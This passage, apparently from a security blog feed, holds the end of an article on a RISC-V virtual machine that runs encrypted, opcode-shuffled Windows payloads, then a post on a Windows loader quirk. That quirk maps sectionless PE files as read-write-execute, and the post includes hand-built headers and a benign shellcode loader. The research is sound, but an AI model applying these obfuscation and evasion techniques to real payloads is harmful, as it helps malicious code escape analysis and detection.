functions we discussed in a previous section. The final detail is that user32.dll
is not loaded into every process, so we need to manually call LoadLibraryA
to resolve it.
Instead of resolving the DLL and import hashes at runtime, they are resolved by the transpiler
at compile-time, which makes things a bit more annoying to analyze for an attacker.
While the retargeting approach works well for simple C++ code that makes use of the Windows API, it currently does not work properly when the C/C++ standard library is used. Getting this to work properly will be difficult, but things like std::vector
can be made to work with some tricks. The limitations are conceptually quite similar to driver development and we believe this is a big improvement over manually recreating types and manual wrappers with riscvm_host_call
.
An unexplored potential area for bugs is the unverified change to the DataLayout
of the LLVM module. In our tests, we did not observe any differences in structure layouts between rv64 and x64 code, but most likely there are some nasty edge cases that would need to be properly handled.
If the code written is mainly cross-platform, portable C++ with heavy use of the STL, an alternative design could be to compile most of it with a regular C++ cross-compiler and use the retargeting only for small Windows-specific parts.
One of the biggest advantages of retargeting a (mostly) regular Windows C++ program is that the payload can be fully developed and tested on Windows itself. Debugging is much more difficult once the code becomes RISC-V and our approach fully decouples the development of the payload from the VM itself.
The final missing piece of the crt0
component is the _start
function that glues everything together:
static void exit(int exit_code);
static void riscvm_relocs();
void riscvm_imports() __attribute__((weak));
static void riscvm_init_arrays();
extern int __attribute((noinline)) main();
// NOTE: This function has to be first in the file
void _start()
{
riscvm_relocs();
riscvm_imports();
riscvm_init_arrays();
exit(main());
asm volatile("ebreak");
}
void riscvm_imports()
{
// Left empty on purpose
}
The riscvm_imports
function is defined as a weak
symbol. This means the implementation provided in crt0.c
can be overwritten by linking to a stronger symbol with the same name. If we generate a riscvm_imports
function in our retargeted bitcode, that implementation will be used and we can be certain we execute before main
!
payload
projectNow that all the necessary tooling has been described, we can put everything together in a real project! In the repository, this is all done in the payload
folder. To make things easy, this is a simple cmkr project with a template
to enable the retargeting scripts:
# Reference: https://build-cpp.github.io/cmkr/cmake-toml
[cmake]
version = "3.19"
cmkr-include = "cmake/cmkr.cmake"
[project]
name = "payload"
languages = ["CXX"]
cmake-before = "set(CMAKE_CONFIGURATION_TYPES Debug Release)"
include-after = ["cmake/riscvm.cmake"]
msvc-runtime = "static"
[fetch-content.phnt]
url = "https://github.com/mrexodia/phnt-single-header/releases/download/v1.2-4d1b102f/phnt.zip"
[template.riscvm]
type = "executable"
add-function = "add_riscvm_executable"
[target.payload]
type = "riscvm"
sources = [
"src/main.cpp",
"crt/minicrt.c",
"crt/minicrt.cpp",
]
include-directories = [
"include",
]
link-libraries = [
"riscvm-crt0",
"phnt::phnt",
]
compile-features = ["cxx_std_17"]
msvc.link-options = [
"/INCREMENTAL:NO",
"/DEBUG",
]
In this case, the add_executable
function has been replaced with an equivalent add_riscvm_executable
that creates an additional payload.bin
file that can be consumed by the riscvm
interpreter. The only thing we have to make sure of is to enable clang-cl
when configuring the project:
cmake -B build -T ClangCL
After this, you can open build\payload.sln
in Visual Studio and develop there as usual. The custom cmake/riscvm.cmake
script does the following:
-lto-embed-bitcode
linker flagclang.exe
, ld.lld.exe
and llvm-objcopy.exe
crt0.c
for the riscv64
architectureThe add_riscvm_executable
adds a custom target that processes the regular output executable and executes the retargeter and relevant Python scripts to produce the riscvm
artifacts:
function(add_riscvm_executable tgt)
add_executable(${tgt} ${ARGN})
if(MSVC)
target_compile_definitions(${tgt} PRIVATE _NO_CRT_STDIO_INLINE)
target_compile_options(${tgt} PRIVATE /GS- /Zc:threadSafeInit-)
endif()
set(BC_BASE "$<TARGET_FILE_DIR:${tgt}>/$<TARGET_FILE_BASE_NAME:${tgt}>")
add_custom_command(TARGET ${tgt}
POST_BUILD
USES_TERMINAL
COMMENT "Extracting and transpiling bitcode..."
COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/extract-bc.py" "$<TARGET_FILE:${tgt}>" -o "${BC_BASE}.bc" --importmap "${BC_BASE}.imports"
COMMAND "${TRANSPILER}" -input "${BC_BASE}.bc" -importmap "${BC_BASE}.imports" -output "${BC_BASE}.rv64.bc"
COMMAND "${CLANG_EXECUTABLE}" ${RV64_FLAGS} -c "${BC_BASE}.rv64.bc" -o "${BC_BASE}.rv64.o"
COMMAND "${LLD_EXECUTABLE}" -o "${BC_BASE}.elf" --oformat=elf -emit-relocs -T "${RISCVM_DIR}/lib/linker.ld" "--Map=${BC_BASE}.map" "${CRT0_OBJ}" "${BC_BASE}.rv64.o"
COMMAND "${OBJCOPY_EXECUTABLE}" -O binary "${BC_BASE}.elf" "${BC_BASE}.pre.bin"
COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/relocs.py" "${BC_BASE}.elf" --binary "${BC_BASE}.pre.bin" --output "${BC_BASE}.bin"
COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/encrypt.py" --encrypt --shuffle --map "${BC_BASE}.map" --shuffle-map "${RISCVM_DIR}/shuffled_opcodes.json" --opcodes-map "${RISCVM_DIR}/opcodes.json" --output "${BC_BASE}.enc.bin" "${BC_BASE}.bin"
VERBATIM
)
endfunction()
While all of this is quite complex, we did our best to make it as transparent to the end-user as possible. After enabling Visual Studio’s LLVM support in the installer, you can start developing VM payloads in a few minutes. You can get a precompiled transpiler
binary from the releases.
riscvm
When debugging the payload, it is easiest to load payload.elf
in Ghidra to see the instructions. Additionally, the debug builds of the riscvm
executable have a --trace
flag to enable instruction tracing. The execution of main
in the MessageBoxA
example looks something like this (labels added manually for clarity):
main:
0x000000014000d3a4: addi sp, sp, -0x10 = 0x14002cfd0
0x000000014000d3a8: sd ra, 0x8(sp) = 0x14000d018
0x000000014000d3ac: auipc a0, 0x0 = 0x14000d4e4
0x000000014000d3b0: addi a1, a0, 0xd6 = 0x14000d482
0x000000014000d3b4: auipc a0, 0x0 = 0x14000d3ac
0x000000014000d3b8: addi a2, a0, 0xc7 = 0x14000d47b
0x000000014000d3bc: addi a0, zero, 0x0 = 0x0
0x000000014000d3c0: addi a3, zero, 0x0 = 0x0
0x000000014000d3c4: jal ra, 0x14 -> 0x14000d3d8
MessageBoxA:
0x000000014000d3d8: addi sp, sp, -0x70 = 0x14002cf60
0x000000014000d3dc: sd ra, 0x68(sp) = 0x14000d3c8
0x000000014000d3e0: slli a3, a3, 0x0 = 0x0
0x000000014000d3e4: srli a4, a3, 0x0 = 0x0
0x000000014000d3e8: auipc a3, 0x0 = 0x0
0x000000014000d3ec: ld a3, 0x108(a3=>0x14000d4f0) = 0x7ffb3c23a000
0x000000014000d3f0: sd a0, 0x0(sp) = 0x0
0x000000014000d3f4: sd a1, 0x8(sp) = 0x14000d482
0x000000014000d3f8: sd a2, 0x10(sp) = 0x14000d47b
0x000000014000d3fc: sd a4, 0x18(sp) = 0x0
0x000000014000d400: addi a1, sp, 0x0 = 0x14002cf60
0x000000014000d404: addi a0, a3, 0x0 = 0x7ffb3c23a000
0x000000014000d408: jal ra, -0x3cc -> 0x14000d03c
riscvm_host_call:
0x000000014000d03c: lui a2, 0x5 = 0x14000d47b
0x000000014000d040: addiw a7, a2, -0x1e0 = 0x4e20
0x000000014000d044: ecall 0x4e20
0x000000014000d048: ret (0x14000d40c)
0x000000014000d40c: ld ra, 0x68(sp=>0x14002cfc8) = 0x14000d3c8
0x000000014000d410: addi sp, sp, 0x70 = 0x14002cfd0
0x000000014000d414: ret (0x14000d3c8)
0x000000014000d3c8: addi a0, zero, 0x0 = 0x0
0x000000014000d3cc: ld ra, 0x8(sp=>0x14002cfd8) = 0x14000d018
0x000000014000d3d0: addi sp, sp, 0x10 = 0x14002cfe0
0x000000014000d3d4: ret (0x14000d018)
0x000000014000d018: jal ra, 0x14 -> 0x14000d02c
exit:
0x000000014000d02c: lui a1, 0x2 = 0x14002cf60
0x000000014000d030: addiw a7, a1, 0x710 = 0x2710
0x000000014000d034: ecall 0x2710
The tracing also uses the enums for the opcodes, so it works with shuffled and encrypted payloads as well.
Hopefully this article has been an interesting read for you. We tried to walk you through the process in the same order we developed it in, but you can always refer to the riscy-business GitHub repository and try things out for yourself if you got confused along the way. If you have any ideas for improvements, or would like to discuss, you are always welcome in our Discord server!
We would like to thank the following people for proofreading and discussing the design and implementation with us (alphabetical order):
Additionally, we highly appreciate the open source projects that we built this project on! If you use this project, consider giving back your improvements to the community as well.
Merry Christmas!
]]>Some time ago, I accidentally came across some interesting behaviour in PE files while debugging an unrelated project. I noticed that setting the SectionAlignment
value in the NT header to a value lower than the page size (4096) resulted in significant differences in the way that the image is mapped into memory. Rather than following the usual procedure of parsing the section table to construct the image in memory, the loader appeared to map the entire file, including the headers, into memory with read-write-execute (RWX) permissions - the individual section headers were completely ignored.
As a result of this behaviour, it is possible to create a PE executable without any sections, yet still capable of executing its own code. The code can even be self-modifying if necessary due to the write permissions that are present by default.
One way in which this mode could potentially be abused would be to create a fake section table - on first inspection, this would appear to be a normal PE module containing read-write/read-only data sections, but when launched, the seemingly NX data becomes executable.
While I am sure that this technique will have already been discovered (and potentially abused) in the past, I have been unable to find any documentation online describing it. MSDN does briefly mention that the SectionAlignment
value can be less than the page size, but it doesn’t elaborate any further on the implications of this.
A quick look in the kernel reveals what is happening. Within MiCreateImageFileMap
, we can see the parsing of PE headers - notably, if the SectionAlignment
value is less than 0x1000, an undocumented flag (0x200000) is set prior to mapping the image into memory:
if(v29->SectionAlignment < 0x1000)
{
if((SectionFlags & 0x80000) != 0)
{
v17 = 0xC000007B;
MiLogCreateImageFileMapFailure(v36, v39, *(unsigned int *)(v29 + 64), DWORD1(v99));
ImageFailureReason = 55;
goto LABEL_81;
}
if(!MiLegacyImageArchitecture((unsigned __int16)v99))
{
v17 = 0xC000007B;
ImageFailureReason = 56;
goto LABEL_81;
}
SectionFlags |= 0x200000;
}
v40 = MiBuildImageControlArea(a3, v38, v29, (unsigned int)&v99, SectionFlags, (__int64)&FileSize, (__int64)&v93);
If the aforementioned flag is set, MiBuildImageControlArea
treats the entire file as one single section:
if((SectionFlags & 0x200000) != 0)
{
SectionCount = 1;
}
else
{
SectionCount = a4->NumberOfSections + 1;
}
v12 = MiAllocatePool(64, 8 * (7 * SectionCount + (((unsigned __int64)(unsigned int)MiFlags >> 13) & 1)) + 184, (SectionFlags & 0x200000) != 0 ? 0x61436D4D : 0x69436D4D);
As a result, the raw image is mapped into memory with all PTEs assigned MM_EXECUTE_READWRITE
protection. As mentioned previously, the IMAGE_SECTION_HEADER
list is ignored, meaning a PE module using this mode can have a NumberOfSections
value of 0. There are no obvious size restrictions on PE modules using this mode either - the loader will allocate memory based on the SizeOfImage
field and copy the file contents accordingly. Any excess memory beyond the size of the file will remain blank.
The simplest demonstration of this technique would be to create a generic “loader” for position-independent code. I have created the following sample headers by hand for testing:
// (64-bit EXE headers)
BYTE bHeaders64[328] =
{
0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x00, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x60, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
// (code goes here)
};
BYTE bHeaders32[304] =
{
0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE0, 0x00, 0x02, 0x01, 0x0B, 0x01, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x40, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
// (code goes here)
};
These headers contain a SectionAlignment
value of 0x200 (rather than the usual 0x1000), a SizeOfImage
value of 0x100000 (1MB), a blank section table, and an entry-point positioned immediately after the headers. Aside from these values, there is nothing special about the remaining fields:
(DOS Header)
e_magic : 0x5A4D
...
e_lfanew : 0x40
(NT Header)
Signature : 0x4550
Machine : 0x8664
NumberOfSections : 0x0
TimeDateStamp : 0x0
PointerToSymbolTable : 0x0
NumberOfSymbols : 0x0
SizeOfOptionalHeader : 0xF0
Characteristics : 0x22
Magic : 0x20B
MajorLinkerVersion : 0xE
MinorLinkerVersion : 0x1D
SizeOfCode : 0x0
SizeOfInitializedData : 0x0
SizeOfUninitializedData : 0x0
AddressOfEntryPoint : 0x148
BaseOfCode : 0x0
ImageBase : 0x140000000
SectionAlignment : 0x200
FileAlignment : 0x200
MajorOperatingSystemVersion : 0x6
MinorOperatingSystemVersion : 0x0
MajorImageVersion : 0x0
MinorImageVersion : 0x0
MajorSubsystemVersion : 0x6
MinorSubsystemVersion : 0x0
Win32VersionValue : 0x0
SizeOfImage : 0x100000
SizeOfHeaders : 0x148
CheckSum : 0x0
Subsystem : 0x2
DllCharacteristics : 0x8160
SizeOfStackReserve : 0x100000
SizeOfStackCommit : 0x1000
SizeOfHeapReserve : 0x100000
SizeOfHeapCommit : 0x1000
LoaderFlags : 0x0
NumberOfRvaAndSizes : 0x10
DataDirectory[0] : 0x0, 0x0
...
DataDirectory[15] : 0x0, 0x0
(Start of code)
For demonstration purposes, we will be using some position-independent code that calls MessageBoxA
. As the base headers lack an import table, this code must locate and load all dependencies manually - user32.dll in this case. This same payload can be used in both 32-bit and 64-bit environments:
BYTE bMessageBox[939] =
{
0x8B, 0xC4, 0x6A, 0x00, 0x2B, 0xC4, 0x59, 0x83, 0xF8, 0x08, 0x0F, 0x84,
0xA0, 0x01, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x3C, 0x64, 0xA1,
0x30, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C,
0x33, 0xDB, 0x21, 0x5D, 0xF0, 0x21, 0x5D, 0xEC, 0x8B, 0x40, 0x1C, 0x8B,
0x00, 0x8B, 0x78, 0x08, 0x8B, 0x47, 0x3C, 0x8B, 0x44, 0x38, 0x78, 0x03,
0xC7, 0x8B, 0x48, 0x24, 0x03, 0xCF, 0x89, 0x4D, 0xE8, 0x8B, 0x48, 0x20,
0x03, 0xCF, 0x89, 0x4D, 0xE4, 0x8B, 0x48, 0x1C, 0x03, 0xCF, 0x89, 0x4D,
0xF4, 0x8B, 0x48, 0x14, 0x89, 0x4D, 0xFC, 0x85, 0xC9, 0x74, 0x5F, 0x8B,
0x70, 0x18, 0x8B, 0xC1, 0x89, 0x75, 0xF8, 0x33, 0xC9, 0x85, 0xF6, 0x74,
0x4C, 0x8B, 0x45, 0xE8, 0x0F, 0xB7, 0x04, 0x48, 0x3B, 0xC2, 0x74, 0x07,
0x41, 0x3B, 0xCE, 0x72, 0xF0, 0xEB, 0x37, 0x8B, 0x45, 0xE4, 0x8B, 0x0C,
0x88, 0x03, 0xCF, 0x74, 0x2D, 0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00,
0x84, 0xC0, 0x74, 0x1F, 0x6B, 0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0,
0x41, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xF1, 0x81, 0xFE, 0xFB, 0xF0, 0xBF,
0x5F, 0x75, 0x74, 0x8B, 0x45, 0xF4, 0x8B, 0x1C, 0x90, 0x03, 0xDF, 0x8B,
0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72, 0xA9, 0x8D, 0x45,
0xC4, 0xC7, 0x45, 0xC4, 0x75, 0x73, 0x65, 0x72, 0x50, 0x66, 0xC7, 0x45,
0xC8, 0x33, 0x32, 0xC6, 0x45, 0xCA, 0x00, 0xFF, 0xD3, 0x8B, 0xF8, 0x33,
0xD2, 0x8B, 0x4F, 0x3C, 0x8B, 0x4C, 0x39, 0x78, 0x03, 0xCF, 0x8B, 0x41,
0x20, 0x8B, 0x71, 0x24, 0x03, 0xC7, 0x8B, 0x59, 0x14, 0x03, 0xF7, 0x89,
0x45, 0xE4, 0x8B, 0x41, 0x1C, 0x03, 0xC7, 0x89, 0x75, 0xF8, 0x89, 0x45,
0xE8, 0x89, 0x5D, 0xFC, 0x85, 0xDB, 0x74, 0x7D, 0x8B, 0x59, 0x18, 0x8B,
0x45, 0xFC, 0x33, 0xC9, 0x85, 0xDB, 0x74, 0x6C, 0x0F, 0xB7, 0x04, 0x4E,
0x3B, 0xC2, 0x74, 0x22, 0x41, 0x3B, 0xCB, 0x72, 0xF3, 0xEB, 0x5A, 0x81,
0xFE, 0x6D, 0x07, 0xAF, 0x60, 0x8B, 0x75, 0xF8, 0x75, 0x8C, 0x8B, 0x45,
0xF4, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xEC, 0xE9, 0x7C, 0xFF,
0xFF, 0xFF, 0x8B, 0x45, 0xE4, 0x8B, 0x0C, 0x88, 0x03, 0xCF, 0x74, 0x35,
0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x27, 0x6B,
0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0, 0x41, 0x8A, 0x01, 0x84, 0xC0,
0x75, 0xF1, 0x81, 0xFE, 0xB4, 0x14, 0x4F, 0x38, 0x8B, 0x75, 0xF8, 0x75,
0x10, 0x8B, 0x45, 0xE8, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xF0,
0xEB, 0x03, 0x8B, 0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72,
0x89, 0x33, 0xC9, 0xC7, 0x45, 0xC4, 0x54, 0x65, 0x73, 0x74, 0x51, 0x8D,
0x45, 0xC4, 0x88, 0x4D, 0xC8, 0x50, 0x50, 0x51, 0xFF, 0x55, 0xF0, 0x6A,
0x7B, 0x6A, 0xFF, 0xFF, 0x55, 0xEC, 0x5F, 0x5E, 0x5B, 0xC9, 0xC3, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89,
0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x54, 0x41, 0x56,
0x41, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60,
0x00, 0x00, 0x00, 0x33, 0xFF, 0x45, 0x33, 0xFF, 0x45, 0x33, 0xE4, 0x45,
0x33, 0xC9, 0x48, 0x8B, 0x48, 0x18, 0x48, 0x8B, 0x41, 0x30, 0x48, 0x8B,
0x08, 0x48, 0x8B, 0x59, 0x10, 0x48, 0x63, 0x43, 0x3C, 0x8B, 0x8C, 0x18,
0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xCB, 0x8B, 0x69, 0x24, 0x44, 0x8B,
0x71, 0x20, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x59, 0x1C, 0x4C, 0x03, 0xF3,
0x8B, 0x71, 0x14, 0x4C, 0x03, 0xDB, 0x85, 0xF6, 0x0F, 0x84, 0x80, 0x00,
0x00, 0x00, 0x44, 0x8B, 0x51, 0x18, 0x33, 0xC9, 0x45, 0x85, 0xD2, 0x74,
0x69, 0x48, 0x8B, 0xD5, 0x0F, 0x1F, 0x40, 0x00, 0x0F, 0xB7, 0x02, 0x41,
0x3B, 0xC1, 0x74, 0x0D, 0xFF, 0xC1, 0x48, 0x83, 0xC2, 0x02, 0x41, 0x3B,
0xCA, 0x72, 0xED, 0xEB, 0x4D, 0x45, 0x8B, 0x04, 0x8E, 0x4C, 0x03, 0xC3,
0x74, 0x44, 0x41, 0x0F, 0xB6, 0x00, 0x33, 0xD2, 0xB9, 0x05, 0x15, 0x00,
0x00, 0x84, 0xC0, 0x74, 0x35, 0x0F, 0x1F, 0x00, 0x6B, 0xC9, 0x21, 0x8D,
0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42, 0x0F, 0xB6, 0x04, 0x02,
0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xFB, 0xF0, 0xBF, 0x5F, 0x75, 0x08,
0x41, 0x8B, 0x3B, 0x48, 0x03, 0xFB, 0xEB, 0x0E, 0x81, 0xF9, 0x6D, 0x07,
0xAF, 0x60, 0x75, 0x06, 0x45, 0x8B, 0x23, 0x4C, 0x03, 0xE3, 0x41, 0xFF,
0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x84, 0x48, 0x8D,
0x4C, 0x24, 0x20, 0xC7, 0x44, 0x24, 0x20, 0x75, 0x73, 0x65, 0x72, 0x66,
0xC7, 0x44, 0x24, 0x24, 0x33, 0x32, 0x44, 0x88, 0x7C, 0x24, 0x26, 0xFF,
0xD7, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xD8, 0x48, 0x63, 0x48, 0x3C, 0x8B,
0x94, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD0, 0x8B, 0x7A, 0x24,
0x8B, 0x6A, 0x20, 0x48, 0x03, 0xF8, 0x44, 0x8B, 0x5A, 0x1C, 0x48, 0x03,
0xE8, 0x8B, 0x72, 0x14, 0x4C, 0x03, 0xD8, 0x85, 0xF6, 0x74, 0x77, 0x44,
0x8B, 0x52, 0x18, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x33, 0xC0, 0x45, 0x85,
0xD2, 0x74, 0x5B, 0x48, 0x8B, 0xD7, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x0F, 0xB7, 0x0A, 0x41, 0x3B, 0xC9, 0x74, 0x0D, 0xFF, 0xC0, 0x48, 0x83,
0xC2, 0x02, 0x41, 0x3B, 0xC2, 0x72, 0xED, 0xEB, 0x3D, 0x44, 0x8B, 0x44,
0x85, 0x00, 0x4C, 0x03, 0xC3, 0x74, 0x33, 0x41, 0x0F, 0xB6, 0x00, 0x33,
0xD2, 0xB9, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x24, 0x66, 0x90,
0x6B, 0xC9, 0x21, 0x8D, 0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42,
0x0F, 0xB6, 0x04, 0x02, 0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xB4, 0x14,
0x4F, 0x38, 0x75, 0x06, 0x45, 0x8B, 0x3B, 0x4C, 0x03, 0xFB, 0x41, 0xFF,
0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x92, 0x45, 0x33,
0xC9, 0xC7, 0x44, 0x24, 0x20, 0x54, 0x65, 0x73, 0x74, 0x4C, 0x8D, 0x44,
0x24, 0x20, 0xC6, 0x44, 0x24, 0x24, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20,
0x33, 0xC9, 0x41, 0xFF, 0xD7, 0xBA, 0x7B, 0x00, 0x00, 0x00, 0x48, 0xC7,
0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0xFF, 0xD4, 0x48, 0x8B, 0x5C, 0x24,
0x60, 0x48, 0x8B, 0x6C, 0x24, 0x68, 0x48, 0x8B, 0x74, 0x24, 0x70, 0x48,
0x8B, 0x7C, 0x24, 0x78, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5F, 0x41, 0x5E,
0x41, 0x5C, 0xC3
};
As a side note, several readers have asked how I created this sample code (previously used in another project) which works correctly in both 32-bit and 64-bit modes. The answer is very simple: it begins by storing the original stack pointer value, pushes a value onto the stack, and compares the new stack pointer to the original value. If the difference is 8, the 64-bit code is executed - otherwise, the 32-bit code is executed. While there are certainly more efficient approaches to achieve this outcome, this method is sufficient for demonstration purposes:
mov eax, esp ; store stack ptr
push 0 ; push a value onto the stack
sub eax, esp ; calculate difference
pop ecx ; restore stack
cmp eax, 8 ; check if the difference is 8
je 64bit_code
32bit_code:
xxxx
64bit_code:
xxxx
By appending this payload to the original headers above, we can generate a valid and functional EXE file. The provided PE headers contain a hardcoded SizeOfImage
value of 0x100000 which allows for a maximum payload size of almost 1MB, but this can be increased if necessary. Running this program will display our message box, despite the fact that the PE headers lack any executable sections, or any sections at all in this case:
